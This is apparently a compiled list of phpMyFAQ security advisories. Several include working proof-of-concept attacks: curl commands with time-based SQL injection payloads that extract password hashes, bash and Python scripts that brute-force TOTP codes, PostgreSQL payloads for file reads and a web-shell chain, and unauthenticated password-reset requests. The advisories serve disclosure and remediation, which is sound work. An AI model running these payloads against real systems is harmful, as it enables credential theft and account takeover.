See how phpmyfaq compares to other vendors in security performance
Summary phpMyFAQ does not enforce uniqueness of email addresses during user registration. This allows multiple distinct accounts to be created with the same email. Because email is often used as an identifier for password resets, notifications, and administrative actions, this flaw can cause account ambiguity and, in certain configurations, may lead to privilege escalation or account takeover.
Details An account management logic flaw in phpMyFAQ allows attackers to register multiple accounts under the same email address. If email is used for password reset or administrative flows, this may result in account takeover, loss of accountability, and abuse of business logic. PoC
1.Register a user with email test@example.com 2.Register another user with the same email. 3.Both accounts appear in /admin/?action=user&useraction=listallusers. <img width="1150" height="628" alt="image" src="https://github.com/user-attachments/assets/8c19f01a-e897-4ca7-b3f8-fcf83e6ff952" />
Impact
-Data integrity loss: Multiple accounts mapped to one email break auditability. -Password reset ambiguity: If reset flow relies on email only, attackers can target or take over accounts. -Privilege escalation: If one account with the same email has admin privileges, an attacker controlling the email may escalate. -Spam / DoS: Attackers can mass-register accounts with a single email to pollute the system.
This is a business logic / authentication vulnerability. Impacted users are anyone relying on phpMyFAQ’s account system where email is assumed to be unique.
phpMyFAQ allows unrestricted file types in image field
phpMyFAQ before 2.9.8 does not properly mitigate brute-force attacks that try many passwords in attempted logins quickly.
Improper Neutralization of Formula Elements in a CSV File in GitHub repository thorsten/phpmyfaq prior to 3.1.16.
phpMyFAQ contains Weak Password Requirements
Improper Authentication in GitHub repository thorsten/phpmyfaq prior to 3.1.10.
phpMyFAQ has Weak Password Requirements
Code Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.
Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.
Authentication Bypass by Capture-replay in GitHub repository thorsten/phpmyfaq prior to 3.1.12.
phpMyFAQ has weak password requirements
Improper Access Control in GitHub repository thorsten/phpmyfaq prior to 3.1.13.
Insufficient Session Expiration in GitHub repository thorsten/phpmyfaq prior to 3.2.2.
phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.
Summary
BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).
Details
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:
php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp();
Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.
garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):
php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete);
saveCaptcha() at line 330 does the same for INSERT:
php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captchatime) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert);
For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.
Reachability
phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:
php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTPNOTFOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; }
getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.
Impact surface
MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:
- Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds authsource, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials. - UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).
Proof of Concept
Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.
Step 1: Baseline request with a clean User-Agent:
bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" HTTP 500 0.147s
Step 2: Injection with SLEEP(2) in the User-Agent:
bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" HTTP 500 4.093s
The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().
Step 3: Single-bit boolean extraction using time:
bash leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3"
Iterating position and character enables full credential exfiltration without any authentication.
Impact
Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.
Recommended Fix
Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:
php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip);
$delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete);
Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.SQL|sprintf.SELECT|sprintf.INSERT|sprintf.UPDATE|sprintf.DELETE across src/phpMyFAQ/ will surface the rest.
--- Found by aisafe.io
Summary
The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.
The controller class declaration:
php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck
The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.
The check action (line 201-228):
php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }
$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);
$user = $this->currentUserService; $user->getUserById($userId);
if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);
if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }
$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }
return new RedirectResponse('./token?user-id=' . $userId); }
Problems:
1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.
The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.
Proof of Concept
bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1
Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.
for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")
# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done
python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor
TARGET = "http://target.example/admin/check" USERID = 1
def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None
with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break
Impact
Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Recommended Fix
1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.
2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.
Example session-binding fix in check():
php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);
// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }
// ... existing TOTP validation ... }
And in authenticate(), after successful password check:
php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());
--- Found by aisafe.io
phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.
phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NOBACKSLASHESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.
phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.
phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.
The admin backend in phpMyFAQ before 2.9.11 allows CSV injection in reports.
Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) in GitHub repository thorsten/phpmyfaq prior to 3.1.12.
Summary A SQL injection vulnerability has been discovered in the the "Add News" functionality due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.
Details The vulnerable field lies in the authorEmail field which uses PHP's FILTERVALIDATEEMAIL filter. This filter is insufficient in protecting against SQL injection attacks and should still be properly escaped. However, in this version of phpMyFAQ (3.2.5), this field is not escaped properly can be used together with other fields to fully exploit the SQL injection vulnerability.
PoCs 4 PoCs are demonstrated here to illustrate the potential impacts.
PoC 1 - Postgres Time Based SQLi 1. Login as admin or any user with the rights to view and save news. 2. Navigate to "../phpmyfaq/admin/?action=news", click on "Add news", fill in some data, send and intercept the request. 3. Modify the intercepted "/admin/?action=save-news" request to look like the SS below: 3.1 - Set the "authorEmail" field in the body to "test'/@email.com". 3.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,1,1);select+pgsleep(5)--". 3.3 - Set the rest of the fields as empty and send the request. 4. Notice the 5s delay in the response time, indicating that the sleep function was executed, verifying the existence of the SQLi vulnerability. !image
PoC 2 - SQLi to Read Data from PostgresDB 1. Steps 1 and 2 are the same as PoC 1. 2. Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request: 2.1 - Set the "authorEmail" field in the body to "test'/@email.com". 2.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,1,1);SELECT+rememberme+FROM+faquser+limit+1+offset+1%3b--". !image (1)
PoC 3 - SQLi to Read Files from PostgresDB 1. Steps 1 and 2 are the same as PoC 1. 2. Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request: 2.1 - Set the "authorEmail" field in the body to "test'/@email.com". 2.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,(select+pgreadfile(CONCAT(CHR(67),CHR(58),CHR(92),CHR(87),CHR(105),CHR(110),CHR(100),CHR(111),CHR(119),CHR(115),CHR(92),CHR(119),CHR(105),CHR(110),CHR(46),CHR(105),CHR(110),CHR(105)))),1)--". (the CONCAT() and CHR() functions are used to bypass the escaping of single quotes, these characters in its decoded form is "select pgreadfile('C:\Windows\win.ini')") !image (2)
PoC 4 - SQLi to Shell It is also possible to obtain a shell if superuser is enabled on the postgres DB. These are the high level steps of the exploit chain:
1. Create a table called "cmdexec" to store the payload. 2. Create a function in postgres to store the command to write a web shell to the "../htdocs" directory. (This step is required as CONCAT() function cannot be used to bypass the step where; "COPY cmdexec FROM PROGRAM '<command>' " is run as it requires single quotes.) 3. Trigger the function to write the PHP web shell at "http://<URL>/shell.php" that takes in commands via the "?cmd=" parameter. 4. Send the Python reverse shell command via a GET request to launch the reverse shell.
The video demo and the Python PoC script can be accessed from this link: https://drive.google.com/drive/folders/1BFL8GHIBxSUxu0TneYf66KjFA0A4RZga?usp=sharing
Impact The SQL injection vulnerability discovered in the "Add News" functionality of the application allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.
Summary A SQL injection vulnerability has been discovered in the insertentry & saveentry when modifying records due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.
PoC 1 - SQL Injection at insertentry: 1. Browse to “/admin/?action=editentry”, edit record and save. Intercept the POST request to "/admin/?action=insertentry" and modify the email and notes parameters in the body to the payloads below: a. email=test'/@email.com b. notes=/,1,1,1,1,null,1);select+pgsleep(5)--
2. Send the request and notice the pgsleep(5) command is executed with a time delay of 5 seconds in the response. This verifies that the SQL injection vulnerability exists. !image
PoC 2 - SQL Injection at saveentry 1. Browse to “/admin/?action=editentry”, edit record and save. Intercept the POST request to "/admin/?action=saveentry" and modify the email and notes parameters in the body to the payloads below: a. email=test'/@email.com b. /,notes=(select+pgsleep(5))-- 2. Send the request and notice the pgsleep(5) command is executed with a time delay of 5 seconds in the response. This verifies that the SQL injection vulnerability exists. !image
Impact The SQL injection vulnerability discovered allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.
Summary An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.
Details File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] php public function updatePassword(Request $request): JsonResponse { $data = jsondecode($request->getContent()); $username = trim((string) Filter::filterVar($data->username, FILTERSANITIZESPECIALCHARS)); $email = trim((string) Filter::filterEmail($data->email)); if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) { $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration); $loginExist = $user->getUserByLogin($username); if ($loginExist && $email === $user->getUserData('email')) { // NO TOKEN CHECK // NO RATE LIMITING // NO EMAIL VERIFICATION $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); // New password sent in plaintext } } }
Root Causes: 1. No time-limited cryptographic token required for password reset 2. No rate limiting on the endpoint (allows unlimited username/email enumeration) 3. No verification email sent to original address before reset 4. New password sent in plaintext email without any confirmation step
PoC Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"wrong@test.com"}' \ http://target/phpmyfaq/api/user/password/update Response: {"error":"The email doesn't exist..."} <- user exists but wrong email
OR
Response: {"error":"The user doesn't exist"} <- user doesn't exist
Step 2 - Password Reset (no token required): bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"admin@target.com"}' \ http://target/phpmyfaq/api/user/password/update
Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com
Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.
Impact Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address
Summary
The password reset API can be triggered without authentication and without any out-of-band confirmation step.
If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.
This creates two issues at the same time:
- account enumeration through the response difference between valid and invalid pairs - forced password reset of another user's account, which invalidates the old password immediately
In my local reproduction, I confirmed both the response difference and the password change itself.
Details
The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.
The route is exposed without authentication:
php #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] public function updatePassword(Request $request): JsonResponse
The flow is straightforward:
php $loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) { $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); return $this->json(['success' => Translation::get(key: 'lostpwdmailokay')], Response::HTTPOK); }
return $this->json(['error' => Translation::get(key: 'lostpwderr1')], Response::HTTPCONFLICT);
The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.
That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.
PoC
This was reproduced against a local Docker deployment of the project.
For a valid username and email pair:
http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json
{"username":"user1","email":"user1@example.com"}
Response:
http HTTP/1.0 200 OK Content-Type: application/json
{"success":"Email has been sent."}
For an invalid pair:
http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json
{"username":"user1","email":"wrong@example.com"}
Response:
http HTTP/1.0 409 Conflict Content-Type: application/json
{"error":"Error: Username and email address not found."}
That already confirms enumeration.
To verify that the password really changes, created a test account:
- username: user2 - password: Oldpass123! - email: user2@example.com
Before calling the endpoint, the password hash stored in faquserlogin was:
text 481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125
Then send:
http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json
{"username":"user2","email":"user2@example.com"}
The response was:
http HTTP/1.0 200 OK Content-Type: application/json
{"success":"Email has been sent."}
After that, the stored hash changed to:
text 3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f
Then try to log in with the old password:
http POST /authenticate HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded
faqusername=user2&faqpassword=Oldpass123!
The application redirected back to the login page and reported that the password was incorrect.
So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.
Impact
The most realistic impact here is forced password reset and account disruption.
An attacker who knows or can guess a valid username and email pair can:
- confirm whether the pair is valid - force the target account's password to change - cause the victim's old password to stop working immediately
If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.
Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.
Remediation
Recommend to change the password recovery flow to a token-based design.
1. Do not change the password inside the unauthenticated endpoint. 2. Generate a short-lived, single-use reset token and send only the reset link by email. 3. Return the same generic response for both valid and invalid username/email pairs. 4. Keep rate limiting in place, but do not rely on it as the main protection. 5. Add regression tests that verify the password hash does not change until a valid reset token is presented.
phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.
In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.main.php.
In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.adminlog.php.
In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) for modifying a glossary.